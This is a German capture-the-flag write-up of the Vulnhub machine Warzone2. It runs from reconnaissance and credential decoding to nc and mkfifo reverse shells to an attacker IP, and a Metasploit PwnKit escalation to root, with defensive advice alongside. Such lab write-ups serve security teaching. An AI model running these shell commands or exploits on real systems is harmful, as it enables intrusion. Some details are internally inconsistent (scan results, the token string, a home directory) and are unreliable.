Warzone2 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
vi
grep
ftp
ls
cd
get/mget
ll (alias für ls -l)
cat
Winker Alphabet (extern)
Hash Kalkulator (impliziert)
nc
find
pkexec
sudo
ss
rm
mkfifo
msfconsole
Meterpreter
id
getuid
shell (meterpreter command)
whoami

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird durchgeführt, um Geräte im lokalen Netz zu finden.
Bewertung: Identifiziert das Ziel `192.168.2.158` mit einer Oracle VirtualBox MAC (`08:00:27:66:b1:97`).
Empfehlung (Offensiv): IP-Adresse für weitere Scans notieren.

 ARP-Scan
192.168.2.158	08:00:27:66:b1:97	PCS Systemtechnik GmbH
                    

Analyse: Die IP `192.168.2.158` wird dem Hostnamen `warzone2.vln` in `/etc/hosts` zugeordnet.
Bewertung: Vereinfacht die weitere Interaktion.

 /etc/hosts
 192.168.2.158   warzone2.vln
                     

Analyse: Ein Nmap-Scan gegen die IPv6-Adresse des Ziels (`fe80...`) wird durchgeführt.
Bewertung: Nmap meldet, dass alle gescannten Ports auf dieser IPv6-Adresse ignoriert werden (geschlossen/gefiltert). Dies deutet darauf hin, dass die Dienste primär über IPv4 erreichbar sind oder die IPv6-Konfiguration restriktiv ist.
Empfehlung (Offensiv): Fokus auf die IPv4-Adresse legen.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-31 22:37 CET
Nmap scan report for warzone2 (fe80::a00:27ff:fe66:b197%eth0) 
Host is up (0.00025s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
1337/tcp open  waste
MAC Address: 08:00:27:66:B1:97 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in X.XX seconds 

Analyse: Ein Nmap-Scan gegen die IPv4-Adresse wird ausgeführt und nach offenen Ports gefiltert.
Bewertung: Identifiziert drei offene Ports: 21 (FTP), 22 (SSH), 1337 (waste?). Der Dienst auf Port 1337 ist unbekannt ("waste?").
Empfehlung (Offensiv): Alle drei Ports untersuchen. Der unbekannte Dienst auf 1337 ist besonders interessant.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
1337/tcp open  waste?

Analyse: Die vollständige Nmap-Ausgabe für die IPv4-Adresse.
Bewertung: Bestätigt die Dienste: vsftpd 3.0.3 (anonymer Login erlaubt!), OpenSSH 7.9p1, und der unbekannte Dienst auf Port 1337. Nmap's Fingerprinting (`fingerprint-strings`) für Port 1337 zeigt einen Banner "# WARZONE 2 #" und "{SECRET SYSTEM REMOTE ACCESS}", gefolgt von Aufforderungen wie "Username :", "Password :" und "Token :". Dies deutet auf einen benutzerdefinierten Authentifizierungsdienst hin.
Empfehlung (Offensiv): Anonymen FTP-Zugriff nutzen. Den benutzerdefinierten Dienst auf Port 1337 genauer untersuchen (manuelle Interaktion mit `nc` oder `telnet`).
Empfehlung (Defensiv): Anonymen FTP deaktivieren. Benutzerdefinierte Dienste sorgfältig entwickeln und absichern, keine aussagekräftigen Banner verwenden.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-31 22:40 CET
Nmap scan report for warzone2.vln (192.168.2.158)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
[...]
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_dr-xr-xr-x    2 ftp      ftp          4096 Nov 08  2020 anon
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
[...]
1337/tcp open  waste?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, RPCCheck, SMBProgNeg:
|     # WARZONE 2 # WARZONE 2 # WARZONE 2 #
|     {SECRET SYSTEM REMOTE ACCESS}
|     Username :
|   GenericLines, GetRequest, HTTPOptions, RTSPRequest, TLSSessionReq:
|     # WARZONE 2 # WARZONE 2 # WARZONE 2 #
|     {SECRET SYSTEM REMOTE ACCESS}
|     Username :Password :Token :
|   Help, Kerberos, SSLSessionReq, TerminalServerCookie:
|     # WARZONE 2 # WARZONE 2 # WARZONE 2 #
|     {SECRET SYSTEM REMOTE ACCESS}
|_    Username :Password :
1 service unrecognized despite returning data. [...]
MAC Address: 08:00:27:66:B1:97 (Oracle VirtualBox virtual NIC)
[...]
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
[...]
Nmap done: 1 IP address (1 host up) scanned in 10.56 seconds

Analyse: Ein Nmap SCTP INIT Scan (`-sY`) wird durchgeführt.
Bewertung: Der Scan findet keine offenen SCTP-Ports. Alle Ports sind gefiltert.
Empfehlung (Offensiv): SCTP ist hier kein relevanter Vektor.

┌──(root㉿CCat)-[~]
└─# nmap -sY -n -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-31 22:42 CET
Nmap scan report for 192.168.2.158
Host is up (0.00013s latency).
All 65535 scanned ports on 192.168.2.158 are in ignored states.
Not shown: 65503 filtered sctp ports (no-response), 32 filtered sctp ports (proto-unreach)
MAC Address: 08:00:27:66:B1:97 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.60 seconds

Vulnerability Assessment

Analyse: Ein Nmap-Schwachstellen-Scan (`--script vuln`) wird gegen die offenen Ports durchgeführt.
Bewertung:

Empfehlung (Offensiv): Fokus auf FTP und den Custom Port 1337. Die SSH-CVEs sind weniger wahrscheinlich direkt ausnutzbar.
Empfehlung (Defensiv): SSH aktualisieren. Den Custom Service auf Port 1337 absichern oder entfernen.

┌──(root㉿CCat)-[~]
└─# nmap -sV -A --script vuln $IP -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-31 22:43 CET
Pre-scan script results:
[...]
Nmap scan report for warzone2.vln (192.168.2.158)
Host is up (0.00010s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:7.9p1:
|           CVE-2023-38408  9.8     https://vulners.com/cve/CVE-2023-38408
[...]
1337/tcp open  waste?
| fingerprint-strings:
[...]
1 service unrecognized despite returning data. [...]

TRACEROUTE
[...]
Nmap done: 1 IP address (1 host up) scanned in X.XX seconds

FTP Enumeration & Steganography/Signal Decode

Analyse: Verbindung zum FTP-Server als anonymer Benutzer. Im Verzeichnis `/anon` werden drei PNG-Dateien gefunden: `password.PNG`, `token.PNG`, `username.PNG`. Diese werden heruntergeladen.
Bewertung: Der anonyme FTP-Zugriff gewährt Zugriff auf potenziell wichtige Dateien. Die Dateinamen legen nahe, dass sie die benötigten Credentials für den Dienst auf Port 1337 enthalten.
Empfehlung (Offensiv): Die heruntergeladenen PNG-Dateien analysieren (Steganographie, visuelle Hinweise).
Empfehlung (Defensiv): Anonymen FTP deaktivieren. Keine sensiblen Informationen (auch nicht versteckt) in öffentlich zugänglichen Bereichen ablegen.

┌──(root㉿CCat)-[~]
└─# ftp 192.168.2.158
Connected to 192.168.2.158.
220 (vsFTPd 3.0.3)
Name (192.168.2.158:ccat): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
[...]
dr-xr-xr-x    2 ftp      ftp          4096 Nov 08  2020 anon
[...]
ftp> cd anon
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||8942|)
150 Here comes the directory listing.
dr-xr-xr-x    2 ftp      ftp          4096 Nov 08  2020 .
dr-xr-xr-x    3 ftp      ftp          4096 Nov 08  2020 ..
-rw-r--r--    1 ftp      ftp         13759 Nov 08  2020 password.PNG
-rw-r--r--    1 ftp      ftp          4911 Nov 08  2020 token.PNG
-rw-r--r--    1 ftp      ftp         10442 Nov 08  2020 username.PNG
226 Directory send OK.
ftp> get password.PNG
[...] Transfer complete.
ftp> get token.PNG
[...] Transfer complete.
ftp> get username.PNG
[...] Transfer complete.

Analyse: Analyse der heruntergeladenen PNG-Dateien (impliziert).
Bewertung:

Die Bilder enthalten die notwendigen Informationen, um die Credentials für Port 1337 zusammenzusetzen.
Empfehlung (Offensiv): Den Benutzernamen (`semaphore`) und das Passwort (`signalperson`) kombinieren, den SHA256-Hash berechnen und diesen in Hex umwandeln, um den Token zu erhalten. Die vollständigen Credentials (Username, Password, Token) für den Login auf Port 1337 verwenden.

username.png -> Winkeralphabet -> semaphore
password.png -> Bild/Text -> signalperson
token.png    -> Formel -> SHA256(username + password) -> Hex

Berechnung:
Username: semaphore
Password: signalperson
String:   semaphorepassword
SHA256:   833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26
Token:    833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26

Initial Access (Custom Port 1337)

Analyse: Eine Verbindung zum Dienst auf Port 1337 wird mit `nc` hergestellt. Der Dienst zeigt den Banner und fragt nach dem Benutzernamen.
Bewertung: Bestätigt das von Nmap gesehene Verhalten.

┌──(root㉿CCat)-[~]
└─# nc 192.168.2.158 1337
# WARZONE 2 # WARZONE 2 # WARZONE 2 #
{SECRET SYSTEM REMOTE ACCESS}
Username :

Analyse: Erneute Verbindung mit `nc`. Diesmal werden der dekodierte Username (`semaphore`), das Passwort (`signalperson`) und der berechnete Token (`833ad...`) eingegeben.
Bewertung: Der Login ist erfolgreich ("Success Login"). Der Dienst präsentiert einen Prompt `[semaphore] >` und eine Liste erlaubter Befehle: `ls`, `pwd`, `nc`. Es handelt sich um eine stark eingeschränkte, benutzerdefinierte Shell.
Empfehlung (Offensiv): Die erlaubten Befehle nutzen. `pwd` zeigt das aktuelle Verzeichnis (`/home/flagman`). `ls` zeigt den Inhalt dieses Verzeichnisses. `nc` ist der Schlüssel zur Eskalation, da es erlaubt, eine Reverse Shell zu starten.
Empfehlung (Defensiv): Benutzerdefinierte Shells sollten sorgfältig implementiert werden, um Command Injection oder unerwartete Befehlsausführung zu verhindern. Die Liste erlaubter Befehle sollte minimal sein. Die Authentifizierung ist kreativ, aber unsicher, da die Komponenten auf dem FTP lagen.

┌──(root㉿CCat)-[~]
└─# nc 192.168.2.158 1337
# WARZONE 2 # WARZONE 2 # WARZONE 2 #
{SECRET SYSTEM REMOTE ACCESS}
Username :semaphore
Password :signalperson
Token :833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26
Success Login
[SIGNALS] { ls, pwd, nc}
[semaphore] >
[semaphore] > ls
[+] Recognized signal
[+] sending......
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
warzone2-socket-server
[semaphore] > pwd
[+] Recognized signal
[+] sending......
/home/flagman
[semaphore] > ls /home
Wrong signal
[semaphore] > ls -la
Wrong signal

Analyse: Der erlaubte `nc`-Befehl wird verwendet, um eine Reverse Shell zum Angreifer (`192.168.2.199:4444`) zu starten.
Bewertung: Auf dem Listener (`nc -lvnp 4444`) geht die Verbindung ein. Der `id`-Befehl zeigt, dass die Shell als `www-data` läuft. Obwohl der Login als `semaphore` erfolgte und der Prompt `/home/flagman` anzeigte, läuft der eigentliche Dienst (oder zumindest der Teil, der `nc` ausführt) als `www-data`.
Ergebnis: Erfolgreicher Initial Access als Benutzer `www-data` durch Ausnutzen der eingeschränkten Shell.
Empfehlung (Offensiv): Die `www-data`-Shell für weitere Enumeration und Privilegieneskalation nutzen.
Empfehlung (Defensiv): Dienste mit minimal notwendigen Rechten ausführen. Befehle wie `nc -e` sollten von Webserver-Benutzern nicht ausgeführt werden können. Die benutzerdefinierte Shell sicherer implementieren.

[semaphore] > nc -e /bin/bash 192.168.2.199 4444
[+] Recognized signal
[+] sending......
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.158] 55962
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation (Enumeration)

Analyse: Als `www-data` werden die Home-Verzeichnisse aufgelistet (`admiral`, `flagman`) und nach SUID-Dateien gesucht.
Bewertung: `admiral` ist ein neuer Benutzername. Die SUID-Suche findet `pkexec` und Standard-Binaries. PwnKit (CVE-2021-4034) ist ein potenzieller Vektor.
Empfehlung (Offensiv): PwnKit-Exploit vorbereiten und ausführen.
Empfehlung (Defensiv): Polkit patchen.

www-data@warzone2:/home/flagman$ ls /home/
admiral  flagman  lost+found
www-data@warzone2:/home/flagman$ find / -type f -perm -4000 -ls 2>/dev/null
   944007    380 -rwsr-xr--   1 root     dip        386792 Feb 20  2020 /usr/sbin/pppd
   915754     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
   924642    152 -rwsr-xr-x   1 root     root       154352 Mar 21  2019 /usr/bin/ntfs-3g
   919583     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
   915758     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
   944364    156 -rwsr-xr-x   1 root     root       157192 Feb  2  2020 /usr/bin/sudo
   919110     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
   928805     56 -rwsr-xr-x   1 root     root        55400 Mar  6  2019 /usr/bin/bwrap
   919585     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
   915757     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
   919257     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
   915755     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
   924632     36 -rwsr-xr-x   1 root     root        34896 Apr 22  2020 /usr/bin/fusermount
   924516     24 -rwsr-xr-x   1 root     root        23288 Jan 15  2019 /usr/bin/pkexec <-- PwnKit Target!
[...]

Analyse: Der Versuch, `/usr/bin/pkexec /bin/sh` direkt auszuführen, scheitert an der Passwortabfrage für den Benutzer `admiral` (unklar, warum dieser Benutzer verwendet wird, evtl. Fehlkonfiguration).
Bewertung: Bestätigt, dass `pkexec` vorhanden ist, aber ein direkter Aufruf ohne Exploit nicht zur Eskalation führt.
Empfehlung (Offensiv): Den CVE-2021-4034 Exploit verwenden.

www-data@warzone2:/home/flagman$ /usr/bin/pkexec /bin/sh
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: Debian,,, (admiral)
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

This incident has been reported.

Analyse: Netzwerk-Sockets (`ss`) und die Verfügbarkeit von `curl` werden geprüft.
Bewertung: `ss` zeigt die bekannten Ports. `curl` ist nicht installiert.
Empfehlung (Offensiv): Zur Kenntnis nehmen. Fehlen von `curl` könnte den Download von Exploits erschweren (andere Methoden wie `wget`, `nc`, oder über Metasploit nötig).

www-data@warzone2:/home/flagman$ ss -atlpn
State       Recv-Q      Send-Q           Local Address:Port            Peer Address:Port
LISTEN      0           128                    0.0.0.0:22                   0.0.0.0:*
LISTEN      0           5                    127.0.0.1:631                  0.0.0.0:*
LISTEN      0           32                           *:21                         *:*
LISTEN      0           128                       [::]:22                      [::]:*
LISTEN      0           5                        [::1]:631                     [::]:*
LISTEN      0           128                          *:1337                       *:*
www-data@warzone2:/home/flagman$ curl
bash: curl: command not found

Privilege Escalation (PwnKit Exploit via Metasploit)

Analyse: Der Pentester erstellt eine zweite Reverse Shell (`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP] 5555 >/tmp/f`), um diese dann in Metasploit zu einem Meterpreter upzugraden.
Bewertung: Dies ist ein gängiger Schritt, um die erweiterten Funktionen von Meterpreter (wie einfache Exploit-Ausführung, Dateitransfers, Migration) nutzen zu können.

www-data@warzone2:/home/flagman$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 5555 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory

Analyse: In Metasploit wird ein Handler (`multi/handler`) für die eingehende Shell auf Port 5555 gestartet. Nachdem die Shell eingegangen ist, wird sie mit `post/multi/manage/shell_to_meterpreter` zu einer Meterpreter-Session upgegradet.
Bewertung: Erfolgreiches Upgrade zur Meterpreter-Session (Session 2).

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost eth0
lhost => eth0
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:5555
[*] Command shell session 1 opened (192.168.2.199:5555 -> 192.168.2.158:36406) at 2025-01-01 00:15:36 +0100
$ ^Z
Background session 1? [y/N]  y
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.158
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.158:48540) at 2025-01-01 00:16:47 +0100
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Analyse: Mit der aktiven Meterpreter-Session (Session 2) wird nach dem PwnKit-Exploit (CVE-2021-4034) gesucht (`search 4034`) und das Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` (Index 1) ausgewählt. Die Session wird auf 2 gesetzt und der Exploit ausgeführt.
Bewertung: Metasploit prüft die Verwundbarkeit, lädt den Exploit auf das Ziel (`/tmp/...`), führt ihn aus und erhält eine neue Meterpreter-Session (Session 3). Ein `getuid`-Befehl in dieser neuen Session bestätigt Root-Rechte.
Ergebnis: Finale Privilegieneskalation zu Root erfolgreich durch Ausnutzen von PwnKit (CVE-2021-4034) via Metasploit.
Empfehlung (Offensiv): Root-Meterpreter-Session nutzen, um Flags zu finden und das System zu untersuchen.
Empfehlung (Defensiv): Polkit patchen!

msf6 post(multi/manage/shell_to_meterpreter) > search 4034
Matching Modules
================

   #  Name                                                 Disclosure Date  Rank       Check  Description
   -  ----                                                 ---------------  ----       -----  -----------
[...]
   1  exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec  2022-01-25       excellent  Yes    Local Privilege Escalation in polkits pkexec
[...]
msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.agqtyvojj
[+] The target is vulnerable.
[*] Writing '/tmp/.egrmqpmimlor/wjreyumuscc/wjreyumuscc.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.egrmqpmimlor
[*] Sending stage (3045380 bytes) to 192.168.2.158
[+] Deleted /tmp/.egrmqpmimlor/wjreyumuscc/wjreyumuscc.so
[+] Deleted /tmp/.egrmqpmimlor/.tiimeqycq
[+] Deleted /tmp/.egrmqpmimlor
[*] Meterpreter session 3 opened (192.168.2.199:4444 -> 192.168.2.158:55968) at 2025-01-01 00:17:33 +0100
meterpreter > getuid
Server username: root

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (Credential Discovery via PNG/Signals)

Schwachstelle: Speicherung von Authentifizierungskomponenten (Username, Passwort, Token-Formel) in Form von Bildern mit visuellen Chiffren (Winkeralphabet) im anonym zugänglichen FTP-Verzeichnis `/anon`.
Ziel des POC: Nachweis, dass durch Herunterladen und Analysieren der PNG-Dateien (`username.PNG`, `password.PNG`, `token.PNG`) die notwendigen Credentials für den Dienst auf Port 1337 rekonstruiert werden können.
Voraussetzungen: Anonymer FTP-Zugriff. Fähigkeit, das Winkeralphabet zu dekodieren und die SHA256/Hex-Operation durchzuführen.

Schritt 1: Auffinden und Herunterladen der Dateien

Analyse: Über anonymen FTP-Login wurde das Verzeichnis `/anon` gefunden, welches die drei PNG-Dateien enthielt. Diese wurden heruntergeladen.

Schritt 2: Dekodierung der visuellen Informationen

Analyse: Die Bilder wurden inspiziert.
Bewertung: `username.PNG` zeigte "semaphore" im Winkeralphabet. `password.PNG` zeigte "signalperson". `token.PNG` zeigte die Formel `SHA256(username + password)` und `token = bytesToHex(hash)`.

Schritt 3: Berechnung des Tokens und Zusammenstellung der Credentials

Analyse: Der String `semaphore` + `signalperson` wurde gebildet. Davon wurde der SHA256-Hash berechnet und als Hex-String dargestellt: `833ad488464de1a27d512f104b639258e77901f14eab706163063d34054a7b26`.
Ergebnis des POC: Die vollständigen Credentials (Username: `semaphore`, Password: `signalperson`, Token: `833ad...`) für den Dienst auf Port 1337 wurden erfolgreich rekonstruiert.
Risikobewertung: Hoch. Eine kreative, aber unsichere Methode zur Speicherung von Zugangsdaten, die durch einfache Enumeration kompromittiert werden kann.
Empfehlung (Defensiv): Zugangsdaten niemals in öffentlich zugänglichen Bereichen speichern, auch nicht in verschleierter Form (Steganographie, einfache Chiffren). Sichere Authentifizierungsmechanismen verwenden.

Proof of Concept (Custom Authentication Service Abuse)

Schwachstelle: Ein benutzerdefinierter Dienst auf Port 1337 bietet nach erfolgreicher Authentifizierung eine eingeschränkte Shell, die jedoch den `nc`-Befehl enthält und dessen Ausführung erlaubt, was das Starten einer Reverse Shell ermöglicht. Der Dienst selbst läuft als `www-data`.
Ziel des POC: Nachweis, dass nach erfolgreicher Authentifizierung die eingeschränkte Shell missbraucht werden kann, um eine Reverse Shell mit den Rechten des Dienstbenutzers (`www-data`) zu erlangen.
Voraussetzungen: Gültige Credentials (Username, Password, Token) für den Dienst. Ein Listener auf der Angreifer-Maschine.

Schritt 1: Authentifizierung

Analyse: Die zuvor rekonstruierten Credentials (`semaphore`, `signalperson`, `833ad...`) wurden über `nc` an den Dienst auf Port 1337 gesendet.
Bewertung: Der Login war erfolgreich, Zugang zur eingeschränkten Shell wurde gewährt.

Schritt 2: Ausnutzung der 'nc'-Berechtigung

Analyse: Innerhalb der eingeschränkten Shell wurde der Befehl `nc -e /bin/bash [AngreiferIP] [Port]` ausgeführt.
Bewertung: Der Dienst führte den `nc`-Befehl aus und stellte eine Verbindung zum Listener her.
Ergebnis des POC: Die eingeschränkte Shell wurde erfolgreich missbraucht, um eine Reverse Shell als `www-data` zu erhalten.
Risikobewertung: Mittel bis Hoch. Die Eskalation ist auf die Rechte des Dienstbenutzers beschränkt, aber die erlaubte Ausführung von `nc -e` ist eine klare Schwachstelle.
Empfehlung (Defensiv): Eingeschränkte Shells sollten keine Befehle erlauben, die für Shell-Escapes oder Reverse Shells missbraucht werden können (`nc -e`, `bash -i`, `python -c '...'`, etc.). Dienste mit minimal notwendigen Rechten ausführen.

Proof of Concept (PwnKit via Metasploit)

Schwachstelle: CVE-2021-4034 (PwnKit) in `/usr/bin/pkexec`.
Ziel des POC: Nachweis, dass die PwnKit-Schwachstelle mittels Metasploit aus einer bestehenden unprivilegierten Shell (hier: `www-data` Meterpreter-Session) ausgenutzt werden kann, um volle Root-Rechte zu erlangen.
Voraussetzungen: Eine aktive (Meterpreter-)Shell als unprivilegierter Benutzer. Eine verwundbare `pkexec`-Version. Das entsprechende Metasploit-Exploit-Modul.

Schritt 1: Upgrade zur Meterpreter-Session

Analyse: Eine Standard-Reverse-Shell wurde mittels `post/multi/manage/shell_to_meterpreter` zu einer Meterpreter-Session (Session 2) aufgewertet.

Schritt 2: Ausführung des PwnKit-Exploits

Analyse: Das Metasploit-Modul `exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec` wurde ausgewählt, auf die Meterpreter-Session (Session 2) gezielt und ausgeführt.
Bewertung: Metasploit lädt den Exploit-Code auf das Ziel, kompiliert ihn (falls nötig), führt ihn aus und startet eine neue Meterpreter-Session (Session 3) mit Root-Rechten.
Ergebnis des POC: Die PwnKit-Schwachstelle wurde erfolgreich mittels Metasploit ausgenutzt, um Root-Rechte zu erlangen.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): Polkit-Paket patchen.

Flags

Analyse: Nach Erlangung der Root-Rechte wurde die Root-Flag (`gold.txt`) im Desktop-Verzeichnis von `root` gefunden und gelesen. Die User-Flag (`user.txt`) wurde im Desktop-Verzeichnis von `captain` gefunden und gelesen.
Bewertung: Beide Flags wurden erfolgreich extrahiert.

find / -name user.txt 2>/dev/null
/home/captain/Desktop/user.txt
cat /home/captain/Desktop/user.txt
trophy : {silver_medal_warzone}
cd /root/Desktop
ls
gold.txt
cat gold.txt
         (                  )
       (  \                /  )
        \  \              /  /
         \  \    ____    /  /
          \  \_ //  \\ _/  /
           \   //    \\   /
            \_(# GLD #)_/
               \\    //
                \\__//

    FLAG : {# GLD MEDAL #}
    NAME : WARZONE 2
    BY   : Alienum with <3
FLAG : {# GLD MEDAL #}